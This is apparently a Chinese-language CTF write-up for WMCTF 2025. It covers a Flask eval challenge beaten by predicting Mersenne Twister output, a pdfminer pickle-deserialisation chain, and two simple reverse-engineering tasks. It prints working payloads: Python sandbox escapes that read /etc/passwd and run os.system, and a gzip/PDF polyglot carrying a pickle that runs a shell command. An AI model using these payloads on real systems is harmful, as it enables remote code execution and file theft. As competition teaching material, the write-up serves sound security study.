WMCTF_2025

WMCTF 2025 Writeups

Web

guess

附件:attachment

代码不长,审计一下,主要流程就是注册账号,登录后在api路由中可以通过post传入keypayload参数,但是这个key是随机生成的,这就以为这要预测随机数。当传入的key错误时候,会返回正确的key,所以我们可以获取到足够的随机数。

@app.post('/api')
def protected_api():

data = request.get_json()

key1 = data.get('key')

if not key1:
return jsonify({'error': 'key are required'}), 400

key2 = generate_random_string()

if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403


payload = data.get('payload')

if payload:
eval(payload, {'__builtin__':{}})

return jsonify({
'message': 'Access granted',
})

可以用已有的库pyrandcracker进行随机数预测:

import requests
from pyrandcracker import RandCracker
import time

rc = RandCracker()

req = requests.Session()

url = "http://49.232.42.74:32564/api"

cookie = {"Cookie": "session=eyJ1c2VyX2lkIjoiNDI0ODM4Mzg3MSIsInVzZXJuYW1lIjoiYWFhIn0.aM6cTA.pjUHogVvwUSGx9vukcZ05Hn190Q"}
header = {"Content-Type": "application/json"}

data = {"key": "1212"}
rand_num = []
for i in range(624):
rsp = req.post(url, headers=header,cookies=cookie, json=data)
rc.submit(int(rsp.text.split(':')[2].split('"')[0]))

rc.check()
print(f"predict next random number is {rc.rnd.getrandbits(32)}")

预测到随机数后传参即可执行eval(payload, {'__builtin__':{}}),(这里非预期了,应该是builtins才有效果)可以使用python的栈帧逃逸,但是只能执行一行的python语句。参考这个博客(https://www.floyd.ch/?p=584)的exp:

# python3
print('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
exit()
sum(xrange(-999999999,99999999))

file('/etc/passwd').read()
open('/etc/passwd').read()
__import__['fileinput'].input('/etc/passwd')
__import__['os'].system('cat /etc/passwd')
__import__['os'].popen('/etc/passwd', 'r').read()
__import__['os'].system('cd /; python -m SimpleHTTPServer')

print(file('/etc/passwd').read())
print(open('/etc/passwd').read())
print(__import__['fileinput'].input('/etc/passwd'))
print(__import__['os'].system('cat /etc/passwd'))
print(__import__['os'].popen('/etc/passwd', 'r').read())
print(__import__['os'].system('cd /; python -m SimpleHTTPServer'))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['exit']()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['sum']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['xrange'](-999999999,99999999))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['file']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['open']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('fileinput').input('/etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('/etc/passwd', 'r').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cd /; python -m SimpleHTTPServer')

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['file']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['open']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('fileinput').input('/etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('/etc/passwd', 'r').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cd /; python -m SimpleHTTPServer'))

随便选一条即可。

pdf2text

一个 PDF-to-text 转换器能有什么危害呢?

What kind of flaw could a PDF-to-text converter possibly have?

Hint 1

Search "pickle.loads" in pdfminer package and try to reach it

附件:attachment

代码量不大,审计一下,就是上传一个pdf然后调用pdfminer库转为文本文件返回还对文件名做了过滤避免路径穿越。 hint给出Search "pickle.loads" in pdfminer package and try to reach it

直接去github仓库找一下源码搜一下https://github.com/pdfminer/pdfminer.six,在cmapdb.py中有一处调用:

class CMapDB:
_cmap_cache: Dict[str, PyCMap] = {}
_umap_cache: Dict[str, List[PyUnicodeMap]] = {}

class CMapNotFound(CMapError):
pass

@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)

我们可以往上回溯找一下调用链,能找到一条调用:

high_level.extract_pages() -> PDFPageInterpreter.process_page() -> PDFPageInterpreter.render_contents() -> PDFPageInterpreter.init_resources -> PDFResourceManager.get_font -> PDFCIDFont.__init__() -> get_cmap_from_spec() -> CMapDB.get_cmap() -> CMapDB._load_data()

调用入口就在题目的pdf_to_text()函数中:

def pdf_to_text(pdf_path, txt_path):
with open(txt_path, 'w', encoding='utf-8') as txt:
for page_layout in extract_pages(pdf_path):
for element in page_layout:
if isinstance(element, LTTextContainer):
txt.write(element.get_text())
txt.write('\n')

可以在本地手动调用一下extract_pages(),然后打断点一步步调试;在get_font之前都没问题,正常的pdf都能够进入

,但是在get_font()中:

def get_font(self, objid: object, spec: Mapping[str, object]) -> PDFFont:
if objid and objid in self._cached_fonts:
font = self._cached_fonts[objid]
else:
log.debug("get_font: create: objid=%r, spec=%r", objid, spec)
if settings.STRICT:
if spec["Type"] is not LITERAL_FONT:
raise PDFFontError("Type is not /Font")
# Create a Font object.
if "Subtype" in spec:
subtype = literal_name(spec["Subtype"])
else:
if settings.STRICT:
raise PDFFontError("Font Subtype is not specified.")
subtype = "Type1"
if subtype in ("Type1", "MMType1"):
# Type1 Font
font = PDFType1Font(self, spec)
elif subtype == "TrueType":
# TrueType Font
font = PDFTrueTypeFont(self, spec)
elif subtype == "Type3":
# Type3 Font
font = PDFType3Font(self, spec)
elif subtype in ("CIDFontType0", "CIDFontType2"):
# CID Font
font = PDFCIDFont(self, spec)
elif subtype == "Type0":
# Type0 Font
dfonts = list_value(spec["DescendantFonts"])
assert dfonts
subspec = dict_value(dfonts[0]).copy()
for k in ("Encoding", "ToUnicode"):
if k in spec:
subspec[k] = resolve1(spec[k])
font = self.get_font(None, subspec)
else:
if settings.STRICT:
raise PDFFontError("Invalid Font spec: %r" % spec)
font = PDFType1Font(self, spec) # this is so wrong!
if objid and self.caching:
self._cached_fonts[objid] = font
return font

只有符合elif subtype in ("CIDFontType0", "CIDFontType2"):才能够进入下一步的调用,可以去了解一下CID Font,大致就是这种字体将字符排列并且排列的次序号就是各个字符的CID,而CMap文件保存了字符编码与字符CID的映射关系。所以我们需要一个嵌入CID字体的pdf。再往后分析,get_cmap()会根据编码的方式去读取***.pickle.gz文件来获取cmap文件。

def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)

_load_data()中会传入编码名字与.pickle.gz拼接后去指定的目录下寻找对应文件,然后用pickle.loads来加载,这里需要注意:

image-20250923192943988

只要filename是绝对路径仅能拼接成功了,不需要做路径穿越。

到这里我们就知道触发方式了,下面就是构造pdf。去找了一下系统上的字体,Noto Sans SC就是这类型之一(不止这个大部分都是),这里我使用pandoc来将md文件转换成pdf,使用pdffonts或者adobe acrobat能查看字体与编码信息

pandoc test.md -o test.pdf --pdf-engine=xelatex
---
title: "aa"
CJKmainfont: "Noto Sans SC"

---

adsa
image-20250923194812288

字体搞定,还需要修改编码,这里直接拷问gpt(

import pikepdf

pdf = pikepdf.Pdf.open("ou.pdf")

for obj_id, obj in enumerate(pdf.objects):
try:
if "/Type" in obj and obj.get("/Type") == "/Font" and obj.get("/Subtype") == "/Type0":
print("Font object ID:", obj_id)
print(" BaseFont:", obj.get("/BaseFont"))
print(" Encoding:", obj.get("/Encoding"))
except Exception:
continue

for obj in pdf.objects:
if isinstance(obj, pikepdf.Dictionary):
if obj.get("/Type") == "/Font" and obj.get("/Subtype") == "/Type0":
if obj.get("/Encoding") == pikepdf.Name("/Identity-H"):
obj["/Encoding"] = pikepdf.Name("//app/uploads/hacker")

把编码名字改成/app/uploads/hacker,到时候就会pickle加载hacker.pickle.gz,这里我构造了名为ou.pdf的文件用于触发pickle.loads()

这时候还要考虑如何上传gz文件,题目会对上传的文件进行检测:

try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500

必须要符合pdf文件格式。这里我发现一个点,有些pdf(例如Acrobat创建的pdf)如果在前面添加额外数据并不会影响pdf的检测,即能通过题目的:

try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500

于是我们可以将pickle序列化的payload数据使用gzip压缩后放在pdf里面命名为hacker.pickle.gz上传,然后再上传我们构造的恶意pdf就能触发调用链使用gzip.open()pickle.loads()来加载hacker.pickle.gz里面的数据。但是这里又有一个新的问题,gzip数据会包含一个完整的pdf文件,这不是gzip格式的数据,在使用gzip.open()打开的时候会报错。

我们再去看一下gzip.open()的源码,看一下是如何读取gzip数据的,最后发现在gzip读文件头部的时候有一个点:

def _read_gzip_header(self):
magic = self._fp.read(2)
if magic == b'':
return False

if magic != b'\037\213':
raise BadGzipFile('Not a gzipped file (%r)' % magic)

(method, flag,
self._last_mtime) = struct.unpack("<BBIxx", self._read_exact(8))
if method != 8:
raise BadGzipFile('Unknown compression method')

if flag & FEXTRA:
# Read & discard the extra field, if present
extra_len, = struct.unpack("<H", self._read_exact(2))
self._read_exact(extra_len)
if flag & FNAME:
# Read and discard a null-terminated string containing the filename
while True:
s = self._fp.read(1)
if not s or s==b'\000':
break
if flag & FCOMMENT:
# Read and discard a null-terminated string containing a comment
while True:
s = self._fp.read(1)
if not s or s==b'\000':
break
if flag & FHCRC:
self._read_exact(2) # Read & discard the 16-bit header CRC
return True

首先读取2个字节的magic,然后再读取8字节按照<BBIxx格式化为(method, flag, self._last_mtime)的内容。就是按照小端的存储方式取1字节为method,再取1字节为flag,最后取4字节给self._last_mtimeflag就是整个gzip数据的第4字节。这里注意这个flag

if flag & FEXTRA:
# Read & discard the extra field, if present
extra_len, = struct.unpack("<H", self._read_exact(2))
self._read_exact(extra_len)

FEXTRA的值固定为4,如果flag的低比特位第3位为1,即xxxxx0100(简单来说flag=4),就能进入这个分支,读取多余的 数据,并且这部分数据不会在后面有任何作用。那我们就能把pdf放在extra_len这部分, 这样子既能绕过题目对pdf文件的检测,同时又能在gzip读取的时候读出正常的数据,下面就构造一下gzip数据。

先gzip压缩一个picklepayload:

import gzip
opcode = b'''cos
system
(S'mkdir /app/static && cp /flag /app/static'
tR.'''
print(opcode)
by = gzip.compress(opcode)
open('pickle.gz','wb').write(by)

使用010打开pickle.gz,读完magic后,我们修改后面8字节中的第2个字节(就是整体的第4字节)为0x04

image-20250924231046538

取完8字节,在分支中又取2字节作为长度,这时候我们看看要嵌入的pdf的字节数0x2437

image-20250924231324408

记得要使用小端方式写入,所以我们在第10字节后面插入2字节37 24

image-20250924231737728

接着直接插入整个pdf

image-20250924231911180

保存后我们使用读取一下print(gzip.open("pickle.gz",'r').read())

image-20250924232118200

能成功读取没问题。到这里所有的步骤就完成了,我们先将嵌入了pdf的gzip数据命名为hacker.pickle.gz上传,然后再将构造的CID字体编码为/app/uploads/hacker的pdf上传

image-20250924233232586

image-20250924233313779

然后取访问/static/flag就能获得flag了

image-20250924233406820

Reverse

catfriend

直接看一下字符串

image-20250924232711484

appfriend

附件:attachment

jadx分析一下:

@Override // android.view.View.OnClickListener
public final void onClick(View view) {
C0164o c0164o;
switch (this.f1628a) {
case 0:
l lVar = (l) this.b;
int i2 = lVar.f1632X;
if (i2 == 2) {
lVar.H(1);
return;
} else if (i2 == 1) {
lVar.H(2);
return;
} else {
return;
}
case 1:
C0112e c0112e = (C0112e) this.b;
Button button = c0112e.f;
c0112e.f1966v.obtainMessage(1, c0112e.b).sendToTarget();
return;
case 2:
MainActivity mainActivity = (MainActivity) this.b;
String valueOf = String.valueOf(mainActivity.f1494x.getText());
if (valueOf.isEmpty()) {
Toast.makeText(mainActivity.getApplicationContext(), "empty!", 1).show();
return;
} else if (valueOf.length() != 32) {
Toast.makeText(mainActivity.getApplicationContext(), "length error!", 1).show();
return;
} else if (mainActivity.checkflag(valueOf)) {
Toast.makeText(mainActivity.getApplicationContext(), "flag success!", 1).show();
return;
} else {
Toast.makeText(mainActivity.getApplicationContext(), "flag error!", 1).show();
return;
}
case 3:
((AbstractC0142a) this.b).a();
return;
default:
Z0 z02 = ((Toolbar) this.b).f959L;
if (z02 == null) {
c0164o = null;
} else {
c0164o = z02.b;
}
if (c0164o != null) {
c0164o.collapseActionView();
return;
}
return;
}
}

就是输入flag然后调用Native层的checkflag()来检查,那就去分析so

image-20250924233921474

函数名没去掉,进来就看见SM4解密,并且ecb模式是不用初始向量IV的,所以只要拿到key与密文就可以了,key就在xmmword_AE0,注意大小端

image-20250924234114552
key = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'

分析一下sm4_crypt_ecb((__int64)v23, 1LL, v11, (__int64)v6, (__int64)v6);可以知道加密结果为v6

if ( *v6 == 0xDB )
{
v13 = -1LL;
while ( 1 )
{
if ( v6[v13 + 2] != byte_AF0[v13 + 2] || v6[v13 + 3] != byte_AF0[v13 + 3] || v6[v13 + 4] != byte_AF0[v13 + 4] )
{
v13 = 0LL;
goto LABEL_16;
}
if ( v13 == 43 )
break;
v14 = v13 + 4;
v15 = v6[v13 + 5] == byte_AF0[v13 + 5];
v13 += 4LL;
if ( !v15 )
{
v16 = v14 < 0x2F;
goto LABEL_15;
}
}
v13 = 47LL;
v16 = 0;
LABEL_15:
LOBYTE(v13) = !v16;
LABEL_16:
v22 = v13;
}

密文一共有48位,且保存在byte_AF0,直接取

ciphertext = b'\xdb\xe9\x8e\x0a\xd4\x7e\xd6\x58\x74\x1c\xd3\x8e\xf8\x59\x59\x85\x81\x77\xd9\xf3\xa8\xf9\x0f\x24\xcf\xe1\x4f\xd1\x1a\x31\x3b\x72\x00\x2a\x8a\x4e\xfa\x86\x3c\xca\xd0\x24\xac\x03\x00\xbb\x40\xd2'

直接解密就好

image-20250924235013311